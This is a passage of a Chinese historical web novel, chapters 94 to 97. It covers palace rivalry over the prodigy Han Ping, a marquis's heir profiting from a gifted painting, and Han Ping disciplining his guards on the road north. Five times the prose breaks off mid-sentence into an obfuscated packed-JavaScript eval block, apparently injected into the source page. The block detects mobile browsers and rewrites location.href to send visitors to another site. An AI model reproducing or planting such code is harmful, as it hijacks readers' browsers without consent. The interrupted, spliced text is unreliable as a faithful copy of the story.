柔然可是有重甲骑兵的，那是靠一个人能战胜的？ “太子李元亨，神志昏昧，胡言乱语，圈禁东宫，非召不得外出。” “散朝。” 景武帝一甩袖子，只想赶快结束这段不愉快的时光。 李元亨则愣在了当场，皇上用词，几近践踏。 一般来说，这种话出来，他距离被废，近在咫尺了。 不去看其他人的蔑视，他独自走出大殿，暗暗祈祷，韩平，韩安之，你可一定要行啊。 …… 郡王府，皇九子李元润矗立在窗前，淡淡说道：“今日朝堂，都谈了些什么？” 长史慎荣阶一一禀告，听到那么多人争夺一个人，李元润陷入沉思，好半天才说道： “太子一向稳重，今天怎么如此急躁？那韩平到底何许人也？” 慎荣阶咳嗽了一声，没有说话。 李元润转过身来，喝退左右，美眸中带着好奇。 她身材苗条，面容俊美，肤如凝脂，气度高华，飘飘然有仙人之态，只是胸口微微隆起，和寻常男子，略有不同。 女人！ 没错，就是女人！ 等伺候的丫鬟，护卫都走干净了，慎荣阶放低声音说道：“根据内线回报，太子收到琴川知州陈文灿一封信。陈文灿对韩平，推崇备至，其中有一句是：麒麟才子，得之可得天下。” 哦？ 原本有点懒洋洋的，听到这句话，李元润瞬间瞪大了美眸。 在皇家长大，谁能没有野心？ 何况，天家无亲情，如果坐不上那个位置，不光自己，还有家人，恐怕都难以活下来。 说来也是悲惨，太子不说，三皇子，四皇子，六皇子等，早已经是亲王爵位，享单字爵号，她却只是个郡王，爵号要用双字。 别看只有一个字的差别，那可大了去了。 亲王是仅次于皇帝的存在，有金册金印，著九章冕服，也就是礼服上可以有九种章纹。 帝王是十二章纹，分别是日、月、星辰、群山、龙、华虫、宗彝、藻、火、粉米、黼、黻。 每个都有特别的意义，比如日月星是临照的意思，帝王像日月星一样临照天下。 山是稳重，上位者，稳重第一。 龙，神异。 华虫：花朵，和拥有美丽羽毛的蝴蝶，代表华美。 宗彝：用来供奉。 藻：洁净，上古铭文有云：苟日新，日日新。 火：明亮如火。 粉米：养人之物。 黼：果断。 黻：明察。 亲王的九章冕服，只需要去掉日月星即可，还可以戴九旒冕冠，真就和帝王差不多。 如果去世，除了文武这两个最大的，最牛逼的字不能用。 其他的，诸如庄、宣、宪、肃、简、昭这些字，都可以用作谥号。 这就不得了。 要知道，大部分皇帝，**之后，都用不上文武这两个字的。 通常只有太-祖太宗这种开国的，才能用。 根本原因还是，文武两字太大，属于金字塔顶端，没有比这两个字高的。 放眼历史，能当得起文成武德四个字的，就没几个。 一般用文武两字的，都是极其了不起的君王。 比如说乾隆皇帝，在死之前，天天嘟囔，都不是暗示了，而是明示，他要当文帝，结果他死之后，嘉庆不满当太子的时候，整天被打压，愣是给上了个高宗。 高宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558190|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和文帝比，那差老鼻子了。 大越的景武帝，自己给自己用武这个字，纯粹属于自大。 读书人的最高追求，也是生晋太傅，死谥文正。 不过大部分都拿不到文正这个最好的谥号，通常是文成，文贞，文忠等等。 正是有着这样复杂又明确的等级，只要是皇子，就没有不想当皇帝的。 “以你所看，韩平真有偌大才气？” 李元润也在悄悄积聚自己的力量，慎荣阶便是她千方百计选出来的属官，有知人善任之能。 “下官和陈文灿有旧交，其绝非胡言乱语之人。” “他的论断，大概是没错的。” “这是其一，其二，下官看过韩平的诗词，也品尝过他酿造的阎罗醉，说句不夸张的话。” “圣人不能及也！” 啊？ 这句评价可太高了，李元润不能置信。 满天下的读书人，都是读圣人之书，遵循圣人之道，现在出来一个人，比圣人还强。 “当真？” 李元润激动了，如果真有这么一个人，只要能够得到她的辅佐，那自己岂不是有望大位？ 她突然就明白，太子为什么在朝堂上那么表现了。 被其他皇子嘲讽，不重要。 不能获得朝臣支持，不重要。 惹皇上不开心，也不重要。 有这么一个人，远远超过所有其他人，太子只想争取这么一人而已。 “此处没有外人，下官说句不敬的话，圣人的话是说给人听的，拿来办事，毫无用处。” “况且，古往今来的圣人，大多没什么文采可言。” “以此而论，圣人给韩平提鞋，尚且不配。” 不愧是和陈文灿有来往的，慎荣阶说话，那真是一针见血。 这句话若是传出去，他能被读书人打死。 李元润只剩下惊叹，已经不知道说什么了。 急忙让人搜集关于韩平的一切诗词，事迹等等。 等到慎荣阶离开，她一个人，观看良久，双手摁着胸口，幽怨不已：“都怪你们两个，我连出门都不方便。又如何去笼络这绝世奇才？” 第94章 万金购画？ 第九十四章万金购画？ “父亲，我花了八百两，打听了一下。” “之前母亲怠慢的贤士韩平，已经出发前往渔阳城了。” “太子殿下和皇上打赌，认定了韩平能够击退柔然大军，咱们是不快可以出去了？” 皇上一句回家去吧，谢园卜和谢子展便不能出门了，外面有兵马司的人专门守着呢，看管犯人一样。 出不去，打听点消息还是没问题的。 “呵呵……太子殿下出息了，敢和陛下打赌，受了什么处罚？” 京城就相当于皇上的花园，皇上想修剪那朵花，就修剪那朵花，敢和皇上对着来，那是找死。 谢子展皱眉：“皇上说殿下神志昏昧，胡言乱语，圈禁了起来。” 他再缺乏头脑也知道，这是废掉太子的前奏，可他不服气：“也许呢？也许太子是正确的呢？” 见儿子不死心，谢园卜叹气：“子展，我大越并非没有人才，只是在绝对的实力面前，靠机敏才智，是没用的。 你是没见过柔然的重甲骑兵，山岳一般压过来，根本无法抵挡。 曾经有人使用诱敌深-入之计，结果就是，把重甲骑兵包围了，然后，被打得落水流水。 以我多年经验，面对重甲骑兵，唯一的办法，是用同样的重甲骑兵，硬碰硬。 只可惜，大越没有这样的条件。” 重甲骑兵不是简单的装备，而是一整套的东西。 有了昂贵的装备，战士还要有强横的体力，不然根本无法驾驭。 然后还要有视死如归的勇气。 两队重甲骑兵对战，没有多余的东西，就是对砍，把对方砍光，就赢了。 “凡事没有绝对，太子殿下也许是收到了什么消息呢。” 放弃希望等于放弃生命，谢子展活了二十二岁，一直都是锦衣玉食，他还想继续活下去，哪里愿意死？ 眼瞅着，府上的丫鬟，护卫什么的，都渐渐离开，不时还有对头上门找茬。 兵马司的人不让出门，也不提供饭菜，继续下去，只会饿死。 “他在朝中连个臂膀都没有一个，又能有什么消息？” “子展，别怕，真到最后一步，爹有办法保你性命。” “只是一件，不管发生了什么，你都要沉住气，不可有轻生念头。” 随着府里粮食减少，谢圆卜吃得很少，人变得越发消瘦，战阵里打出来的，精神头还可以，但眼中的神色渐渐空洞。 谢子展没有听明白，只是诧异。 父亲最是讲究，早就不让他叫爹，有人没人，都让他叫父亲。 这是怎么了？ “父亲，覆巢之下无完卵，您如何保我性命？” 只要渔阳城失利，整个谢家都要遭殃，当今圣上狠绝，又岂能单单放过他一人？ “到时候你就知道了。” 温柔地看着儿子，谢圆卜脸上的悲伤越发浓重，“老大和老三都在渔阳城，他们怕是脱不了干洗，难逃一死。 往后谢家，就要靠你了。 男儿汉，当坚韧不拔。 只是，不必做官了，找个偏僻之地，好好护着家里人，当个农夫吧。” 在官场摸爬滚打那么多年，谢圆卜看得清楚。 二儿子心眼少，少城府，脸皮子又薄，是没法在官场混的。 三儿子张扬，跳脱，无法安定，也难成才。 唯有老大谢朝乘，经过边关磨炼，不管是心智还是韧性，又或者厚黑那一套，都有了根底，是可以走仕途的。 奈何米若兰送过去一个玄龟上人，把老大给害了。 “父亲，那你呢？” 谢子展依然是迷茫的，父亲的这些话里，并没有他自己的安排。 “我自然有我的去处。” 许久，谢园卜长长地叹息。 他闭上眼睛，仿佛又回到了金戈铁马的过去，仿佛人生唯一的意义，只在战场杀戮。 这些年在朝堂争名夺利的日子，显得格外空虚。 …… 江宁，靖远候府。 虽然靖远候远在上谷关，对家里的事情却是格外关心。 听闻长子庞宪度，竟然用一百两金子，购买一个什么冰淇淋，暴跳如雷，让部下连夜送书信到家，要当众训斥庞宪度。 大堂上，侯爵夫人脸色发青。 负责送信的人名叫丁蔺，是靖远候的亲信侍卫，他高高大大的，面色黝黑，不苟言笑，就好像靖远候的替身一样。 除了侯爵夫人之外，还有侧室，小妾数人，自然也有庶子数人。 “丁侍卫，我最近在经营药材，这个月赚了几百两银子，买了把硬弓，请代我交给父亲大人。” 侧室的儿子庞体仁站了出来，拿着一把黑黝黝的长弓，还有一袋箭矢，看起来就不便宜。 打仗的谁不喜欢这些玩意？ 丁蔺面色顿时好看许多：“公子纯孝，标下一定会亲手交给侯爷。” 开了这个头，其他庶子也纷纷拿出自己的东西，有的是做生意赚了钱，有的是写了一手好字，读书有进益，反正就是显摆长处。 侯爵夫人的脸越发难看了。 她就生这么一个儿子，偏偏不争气。 她是正妻没错，可下面还有侧室，也就是偏妻，还有副室， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559135|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就是下妻。 连带着她本人，便是三妻四妾中的三妻。 虽然说名分已定，侧室想要扶正，那是千难万难，但自己夫人的位子做得再稳当，有什么用处呢？ 儿子不争气，早晚这万贯家业，都是别人的。 等啊等，那么多人，又足足等了一个时辰，庞宪度完全没有自觉地走了进来，光是穿着，他和庶子就不同。 庶子穿得也算体面，但庞宪度穿得，体现一个华贵。 他手上多了一个碧绿碧绿的扳指，脖子里挂着好几条金链子，看起来沉甸甸的。 “干嘛呢这是，那么多人，也不嫌热得慌？” 嫌弃了一句，庞宪度从侍女手里接过一个盒子，乐呵呵地，“娘，你看我给你带什么了？这叫冰淇淋，特好吃，只要五十两银子，还是香草味的呢。” 庞宪度可不傻，第一个冰淇淋他花了一百两金子，很快就看明白，大家都是找人排队购买，他也不当这冤大头，也让人帮着排队。 今天他算是吃冰淇淋，吃了个饱。 想着老娘没吃过这好东西，还专门带了几个回来。 啪！ 侯爵夫人上去就打：“吃吃吃，你就知道吃，就因为这劳什子的冰淇淋，你父亲派了丁侍卫过来训斥你呢。还不老老实实站好，听训。” 又来这套！ 老爹真是太喜欢当爹了！ 听到训斥，庞宪度便一百个不乐意。 干嘛啊，侯府家大业大，花不完的钱，自己不花，对不起老爹在外面打生打死。 多花点钱怎么了？ “丁侍卫，我带回好几个冰淇淋呢，你帮着给我爹也带过去两个，天底下，这玩意是最好吃的，在路上你可别偷吃哈。” 这些天，他是到处宣扬，冰淇淋是天下第一美味。 当然也不会忘记提醒众人，他是第一个吃冰淇淋的。 江宁的纨绔被他闹得，不去吃冰淇淋，都不好意思出来混了。 “大少爷，侯爷听闻一百两金子购买什么冰淇淋，雷霆大怒，责问少爷为何如此败家。责问少爷有没有想过，赚钱多么艰难。责问少爷光是花钱，不去赚钱，是否心中有愧。责问少爷……” 好家伙的，丁蔺一连说了十几个责问，庞宪度那叫一个无语。 亲爹都干到侯爷了，自己再去努力赚钱，多傻啊。 老子赚钱儿子花，多好。 别人没钱花，那是别人的老子不努力，怨不着他啊。 正要辩解一番，忽然，管家小跑着进来，汗水淋淋的：“夫人，外面有几个大财主，说是想购买大少爷手里的画。他们愿意出价三万两。” 第95章 山人自有妙计 第九十五章山人自有妙计 “画？什么画？” 自己儿子什么样子，侯爵夫人可是太知道了。 书啊，画啊什么的，他是从来都不喜欢的，还说一看书就头疼。 “是韩先生的画。” 管家老实禀告，侯爵夫人一听，脸都气圆了：“就是那个弄出冰淇淋的韩先生？这种人的画有什么好的啊？ 儿子，那画多少钱买的？ 如果赔的不多就卖了吧。 以后千万别和这个韩先生混在一起，咱们是侯爵，他只是个商贾，不是一类人。 你啊以后多读读书，就算不能打仗，起码要会经营，这样才能守住家业。” 有职位在身的爵爷，是最厉害的。 靖远候在上谷关劳苦功高，江宁这儿，侯府完全是凌驾一方的存在。 别说有过错，就算杀个把人，也没任何问题。 不过，靖远候为人谨慎，深知君子之泽，三代而衰，五代则斩，战场凶险，也不想让儿子去打仗，倒是想诗书传家。 奈何嫡子完全彻底的不争气，整天就知道斗鸡走狗，提笼架鸟，一天到晚琢磨的，都是吃什么喝什么玩什么，没个样子。 最近意识到不能继续放纵，所以动辄派人来训斥。 侯爵夫人再是宠溺，当着丁蔺的面，也得做个样子。 况且她也想儿子学好。 “是啊大少爷，上次你为了斗牛，从黔中运来几十头牛，足足花了五万两。” “堂堂侯爵府世子，天天伺候牛，把牛养得膘肥体壮，可豪族千金，哪个还愿意嫁给你啊？” “商人都是无利不起早的，那韩先生必定欺你年轻，高价卖画给你。” “待会儿让几个财主过来，我们帮你讲讲价，少亏点。” “体仁最近赚了不少钱，让他帮帮你，免得账本上不好看。” 侧室如夫人说话了，表面上好像没什么，实际上处处都在贬低庞宪度，说他乱花钱，远远不如自己儿子。 她努力里忍住幸灾乐祸的表情，摆出一副语重心长的模样。 这种旁敲侧击，庞宪度不是傻子，听得出来，对方恶心自个呢。 他冷笑一声：“谢谢姨娘的好意，不过啊，你放一万个心，我庞宪度再怎么，也不至于用庶子的钱。一个月赚几百两，那也叫钱啊？” 刹那之间，庞体仁的脸色便阴沉无比，不当家不知难，他试着经营家里的生意才发现，想赚钱，太难了。 就算他是侯府的人，官府不敢为难，没有绊子，也是苦心钻研之后，才开始盈利的。 几百两真心不少。 当然，和庞宪度的零花钱，还是没法比。 这让他心里怨愤不已，明明自己努力又有才，如果继承侯爵，定然能够把偌大的侯府打理得井井有条，悲哀的是，自己偏偏是个庶子。 每次听到庶子，姨娘养的这种话，他都有一种强烈的羞耻感，憎恨苍天不公。 “在大哥眼里，几百两银子不算钱，这个大家都知道。” “只是我想问问，大哥光是花钱，可曾挣过一文？” “父亲在边关征战，我们难道不该体谅他的辛苦，节俭少许？” 丁蔺在这呢，庞体仁知道，这些话都会传到靖远候的耳中。 他说得声情并茂，拳拳心疼父亲的心思，令人动容。 他就是要把庞宪度给比下去，不管是能力上，还是孝心上。 庶子都有当皇上的，他还不信了，自己和庞宪度一个天上，一个地下，父亲会看不到。 “哈哈哈……” 庞宪度一声长啸，“不会吧，不会吧，庞体仁，你不会觉得自己挣点小钱，就有资格教训我了吧？好！我今天就让你看看，什么才叫挣钱。” 他看向管家：“让那几个财主进来。” 一共三个财主，一个姓赵的，一个姓田的，一个姓卫的，他们在江宁，都做着不小的生意，平常他们可不敢从庞宪度这儿买东西，这不是听说，侯爷又责怪了嘛。 想着庞大少也许需要出手那副画，换了钱给侯爷一个交代。 之所以三个一起过来，算是英雄所见略同，都知道那副画奇货可居，都想拿到手。 毕竟，那可是韩平唯一流落在外的书画，其他的，都在店里挂着呢。 行礼过后，赵财主忙不迭道：“大少爷，三万两有点少了，我愿意出四万两。” 其他两个不甘示弱，纷纷跟着加价。 庞宪度一摆手：“慢着！你们都是知情人，先说说，我这幅画有没有花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15562217|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱？” 三个财主愣了愣，马上道：“当然没花啊，大少爷您是第一个吃冰淇淋的，这幅画是韩先生送您的呀。” 庞宪度得意了：“各位，听到了吧？这幅画是韩先生送给我的。 可能有人要问了，好好的，韩先生为什么要送给我，不送给别人画呢？ 因为我有品位，有胆量，风流洒脱，敢吃第一口冰淇淋。 白送的画，如今可以卖四五万两，这叫不叫赚钱？” 嗯？ 侯爵夫人眼睛一亮，我儿说得有道理啊，她还有点不敢信：“这画真没花钱？” 庞宪度斩钉截铁，傲然如凤凰：“真没有！韩先生以名士待我，送我书画，上面那句‘五陵年少金市东，银鞍白马度春风’正是本人写照。” 在场的都是精明人，都计算了起来。 庞宪度第一次购买冰淇淋，花了一百两金子，换成银子差不多是一千两。 最近买的冰淇淋都是五十两一个，花不了多少钱。 就算他天天吃，花个两三千两顶天了，可现在有人出四万两，五万两银子要购买这幅画。 赚了二十多倍啊。 侧室和庞体仁都气得不行，这个韩先生是不是傻啊，那么值钱的画，白送！ “丁侍卫，你都听到了，我儿赚钱了，一下子就是四五万两，你可要仔细地说给侯爷。” “那是自然。” 丁蔺此刻是懵的。 他来侯府不是一次二次了，庞大少什么时候赚过钱啊，今天真是太阳从西边出来了。 想着侯爷知道了定然也会欣慰，他的神情没那么严肃了。 “说什么呢？谁说卖了？” 像是被人踩住了尾巴一样，庞宪度差点跳起来，“娘，这幅画是我命-根子，我可以死，画不能丢。有了这幅画，我在史册里都有名。哼哼……你们这些让我卖画的，都是反面人物。” 想想历史上写着，庞宪度风流俊雅，醉心艺术，虽然不为世俗所容，却还是痴心不改…… 天哪，也不知道会有多少少妇为我流泪。 “大哥，不对吧？你不是说让我看看怎么赚钱的吗？不卖画，你怎么赚钱？” 庞体仁继续追着找缺点，庞宪度笑了：“我自有办法。” 第96章 集体荣誉感 第九十六章集体荣誉感 “大少爷，卖吧，价格上好说。” “是啊，大不了再给你加两万，很多人都等着看这幅画呢。” “大家都已经知道，您是第一个吃冰淇淋的，已经名扬四海，何必执着于一幅画呢？” 三个财主那是汲汲以求。 侯爵夫人，侧室如夫人，还有小妾，丫鬟的，都听蒙了。 她们从来没有听说，一幅画竟然值那么多钱。 更让人无语的是，一边想买，一边就不卖。 庞宪度不可一世道：“你们懂什么？这幅画是韩先生对我的认可，岂是区区金银能够衡量？ 卖是不可能卖给你们，不过你们可以照着我的画，做出摹本贩卖。 别以为我不知道，只要是韩先生的书画，就算是摹本，市面上也是供不应求。 不过呢，想要临摹，给一万两。” 天天都在花钱，庞宪度对这种东西的价格，是非常熟稔的。 临摹韩先生的画，好的，一张能卖三四两。 这还是在江宁地界，如果到了京城，只怕翻个好几倍。 书画这东西最重神韵，看真迹，临摹出来的东西才像样。 三个财主犹豫了会，田财主说道：“大少爷，我能享有独家临摹权吗？” 如果几个人都有这个权力，那利润就太薄了。 庞宪度点点头：“可以！除了你的人，谁敢做这幅画的摹本，我打断他的狗腿。” 自己赚钱，也必须让别人赚钱，庞宪度这几天观察阎罗醉，君子白糖的经营模式，多少悟到了点东西。 保证对方的利益，其实也是保证自己的。 “大少爷，我要了。” 有这个承诺，绝对有得赚，田财主当场拿出了一万两的银票，庞宪度接过，直接递给了侯爵夫人： “娘，看到没有，想要赚钱，就得跟着大佬混，做那种几百两银子的小生意，只会有损咱们侯府的气度。” 这一刻，庞宪度整个人闪闪发光的。 侯爵夫人乐得合不拢嘴，她打开庞宪度送来的冰淇淋，拿起来咂摸了一口，惊诧出声：“这冰淇淋，太好吃了吧。还是我儿子有出息，不光孝顺，还会赚钱。侯府的世子就应该和大人物交往，那位韩先生真真是不错。” 侧室如夫人和儿子庞体仁都是脸色漆黑。 这还是第一次，他们竟然在赚钱上输给了这个纨绔大少。 庞宪度连亲爹都看不上了：“来人啊，拿三十罐白糖，十坛阎罗醉过来，老爹在边关不容易，也该吃点好东西了。丁侍卫，连着那两盒冰淇淋，都给我爹送过去。不过冰淇淋要用被子裹上，别散了里面的寒气。” 通常来说，侯府不会往上谷关送吃的，当地就有，可这些都是稀罕玩意，保证靖远候从来没见过。 冰淇淋很是神妙不说，靖远候经常嫌酒太淡，太浑，阎罗醉清冽如水，浓烈如火，他一准喜欢。 “好的大少爷。” 不由自主地，丁蔺都尊重了几分。 大少爷平常放-浪玩耍，不愿意赚钱，看来眼光还是有的。 轻而易举挣一万两，实在厉害。 见过冰淇淋了，知道这玩意容易融化，丁蔺马不停蹄，立刻出发去上谷关。 侧室母子，小妾和庶子们没什么脸，赶紧地离开了。 等房间里就剩下自己人，侯爵夫人笑盈盈地说道：“你看，这多好啊。儿子，从今天起，你好好读书，你爹肯定会越来越赏识你的。” 庞宪度脑袋摇得像拨浪鼓：“娘，韩先生组织的斗牛大赛，还有半个月就要开始了。除了吃喝玩乐，我还要忙着训牛，哪有时间读劳什子的书？走了走了。” 一溜烟地，庞宪度带着一帮子消失不见。 侯爵夫人心里那叫一个苦，刚刚有点样子，又玩斗牛。 她都纳闷了，这位韩先生有什么魔力，让儿子亦步亦趋。 韩先生卖冰淇淋，儿子拿一百两金子去买。 韩先生要办斗牛大赛，儿子天天呆在牛圈。 这么下去不是个事，斗牛斗得再好，侯爷绝对不可能赏识的，总不能让大名鼎鼎的靖远候，对外炫耀，我儿子斗牛是一把好手？ 想想都荒谬！ 侯爵夫人叹气，看儿子开开心心地像个孩子，也不忍扫了他的兴致。 “唉！” “走一步看一步吧，也不知道这个韩先生会把我儿子带哪去，可别带坑里了呀。” …… 一路向北，韩平骑马厌烦了便坐轿，坐轿烦了便坐马车，除了秦明虎带着的伯爵府护卫，其他一千名护卫，他给分成了五队。 反正他去渔阳城，一个目的是送**，一个目的是去看看，自己到了现场，能做些什么。 所以他并不十分着急，在路上，给护卫购买衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15562218|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服，临时制作旗子，让他们呈现黑，紫，红，青，蓝五种颜色，都拥有各自颜色的旗子。 别看只是简单划分了下，韩平却知道，这就是在建立荣誉感了。 你红队，我蓝队，我蓝队不能比红队差，这种想法是本能的。 这般划分也更容易让他们执行命令。 其中为了避讳皇家，所以不能用黄色，举白旗是投降的意思，也不能用白色，便用了这五种。 他有心培养自己的亲兵，伙食是不会差的，路过城镇，便大肆采买，什么好吃的，好喝的，都来点，肉当然也不会少。 肉眼可见的，这些人的身上开始有肌肉了。 他们是纯粹的灾民，完全没经验，韩平便教给他们最基本的“风林火山”四种行军方式。 这么走着，大家是越走越有劲。 最关键还是吃的，很多东西，这些穷苦汉子，都是这辈子第一次吃，有时候吃着吃着，眼泪就下来了。 “谢谢韩先生，韩先生真比亲爹都亲。” “又吃肉啊，天天吃肉，也没给韩先生干过啥。” “唉！啥时候有机会，能给韩先生出出力就好了。” “这么吃可不行，亏欠得慌啊。” …… 随着一顿一顿地吃过去，很多人已经不好意思了，以前给大户人家干活，稍微偷懒，鞭子就会打下来。 能有菜团子吃，便很不错了。 就是在边关打仗的，也从来没听说，那么频繁吃肉的。 他们不光是崇拜韩平，还想给韩平效**。 第六天，来到一处隘口，突然窜出来一群土匪，领头的大喊大叫：“哪里的镖行？白沙山是我们的地盘，想从这过，留下点香火。” 土匪的黑话，香火的意思是财物或者银钱。 因为韩平这些人穿得奇怪，土匪把他们当镖局的人了。 猛然间遇到土匪，韩平没反应过来呢，就听到有人喊了一句：“咦？是土匪，他们是不是要杀韩先生？” 嗖！ 有个护卫好像见到花姑娘，撂开飞**腿，一眨眼就到土匪跟前了，抡起棍子就砸。 其他人对对眼，意识到了什么，呼啦啦又去了上百号，一个比一个凶残。 不光是看见人就杀，而是你争我抢。 几个呼吸间，把拦路的土匪杀了个干净，眼睛冒着贼光，四处寻摸：“还有吗？” 第97章 纪律 第九十七章纪律 “跑啊。” “风紧，扯呼！” “这伙人太狠了，打不过，真打不过。” …… 附近林子里还有不少土匪呢，扶老携幼的，望风而逃。 这帮人说是土匪，其实就是灾民，饿得没办法了，拦路**。 他们不是好人，也很难说是坏人。 准确地说，是好坏这套评价体系失去了意义，不去偷不去抢，只能做安安饿殍。 就是被礼法驯化得再好，生命都不保的时候，也会进入从恶如崩的状态。 往往越老实巴交的，一旦开始**，便再也无法停止，反而是他们，成了战斗主力。 也许他们想不明白，但动物本能让他们知道，要想在这个时代活下来，就要无限地迸发兽-性。 韩平旗下这些盲目冲杀的护卫也是一样，他们看到土匪，第一个想到的，是上次边继荣刺杀，韩平重赏了参与战斗的人。 那是一百两啊，他们做梦都想要。 “明虎，把他们叫回来。” 韩平骑在马上没有动。 等这百多号人一身血迹地到了跟前，看着他们，韩平有一种看着一头暴龙的感觉。 蝗灾之前，他们像植物一样生活着，除了种地什么也不会，想要去其他地方也不被允许。 可压抑已久的愤懑，一旦释放，却又能够毁掉一个王朝。 “不管遇到什么敌人，我说战才能战，你们不听军令，肆意妄为，该当重罚。” “每人八十军棍！” 奖罚要适宜，韩平可不想给人一种，只知道撒币的老好人形象。 他这么一说，上百人统统跪下了。 韩先生**那是出名的，打完还要抹那妖妖灵，就是铁打的硬汉也承受不住。 “先生，我们下次再也不敢了。” “土匪拿着刀呢，看起来十分可怕，我们是怕他们不知死活，伤了先生。” “我觉得我没错，距离那么近，他们大喊大叫，太小觑先生了。” “先生到哪，那儿就是先生的，他们凭什么占此地为王？” …… 说什么的都有，这种冲杀勇猛的，通常都有**的经验，也多少有点倔脾气。 秦明虎知道该自己说话了，上前一步： “先生，念他们缺乏训练，又是初犯，饶过这次吧？” 在这些人中，秦明虎的武艺是最强的，一路上，韩平也会向他讨教些刀法，他更是众人的教头。 在人群里有威望，算是韩平和一千护卫之间的了连接者。 “看明虎面上，打二十军棍，再有下次，决不姑息。” “明虎，带人行刑。” 那么多人，韩平不可能每个都认识，都有印象，他需要做的，是抓关键。 秦明虎是个关键，五个小队的队长也是关键。 下面的人就要靠队长去笼络。 掌握住这些人，再进行适当的宣教，奖罚，便可如臂使指，驱动大军，践行“风林火山”四字箴言。 韩平亲眼看着呢，打得实在，有的皮肤破了，照样给用上酒精，疼得哇哇叫。 结束之后，韩平又道：“有错就要罚，有功就要赏，你们虽然没有听令而行，却作战凶猛，勇气可嘉。明虎，把这些人登记一下，每人赏银十两，回到嘉陵发放。” 这是去边关，韩平不可能带太多钱，就算有也不会现场给。 这些穷苦汉子，很多人连一两银子长什么样都没见过，有了十两，他们还怎么打仗？ 再说，让外人知道，自己携带大量银两，也容易引来觊觎。 “谢谢韩先生！” “十两啊？哈哈哈……我回去要娶八个小妾！” “俺爹再也不敢说我没本事了，他再说，我十两银子砸他脸上。” “嘿嘿嘿……等回去了，给娃儿们买肉吃，我们家娃儿从来没吃过肉呢。” …… 刚被打过，疼到龇牙咧嘴，一听到十两银子，都高兴得不知道如何是好。 这些人可都是精挑细选出来的，选的不光是身体素质，还有家世背景。 他们在嘉陵要么有爹娘需要奉养，要么有妻子小妾，儿女一大堆，那是实实在在的养家人。 能拿到十两银子，别说被打一顿，就算是卸一条手臂，他们都觉得值。 整肃了一下纪律，韩平又从五队之中，挑选出五十名的步兵前哨，以及五十名的探马。 前哨主要在行军附近，负责警戒，探马则是远距离侦查，每两人为一队，遇到情况，一人盯梢，一人回报。 不管是前哨还是探马，都有点像蜗牛的触角，可以用来接触信息，反馈信息。 韩平没有打过仗，基本是按照自己的想象去打仗，但有句话他还是知道的——知己知彼百战不殆！ 如此安排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573016|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后，韩平等于是有了一百双眼睛。 如果前方有土匪，山贼什么的，他便绕路，不去惹这个麻烦。 中间遇到城镇，再次购买马匹，好吃好喝的。 有了马匹，营养跟上来之后，行军速度便提了上来。 只是越来越靠近边关，周围的景象变得更加凄惨。 一路上，多次见到各种野狼，野狗，撕扯争抢着人的尸体，很多个城镇，人烟全无，蔓草横生。 偶尔见到活人，都是拖家带口，往内陆跑的。 “叫他们过来，我有话询问。” 又见到十几个人，男的背着包袱，女的抱着孩子，瘦骨伶仃，人人都是面容漆黑，嘴角干裂，脱皮。 韩平的手下去喊他们，他们颤颤巍巍过来，呼啦啦跪了一地。 “好汉饶命呀！” “大老爷，我们身上真的啥也没有了。” “要不您看您有啥要的，俺都给您不好了嘛。” “俺闺女今年十八，会做饭会洗衣服，还会捶背，留下伺候大老爷好不好呢？” …… 他们见韩平服饰华丽，腰间挎着宝刀，身边还有那么多士卒，都吓破胆了。 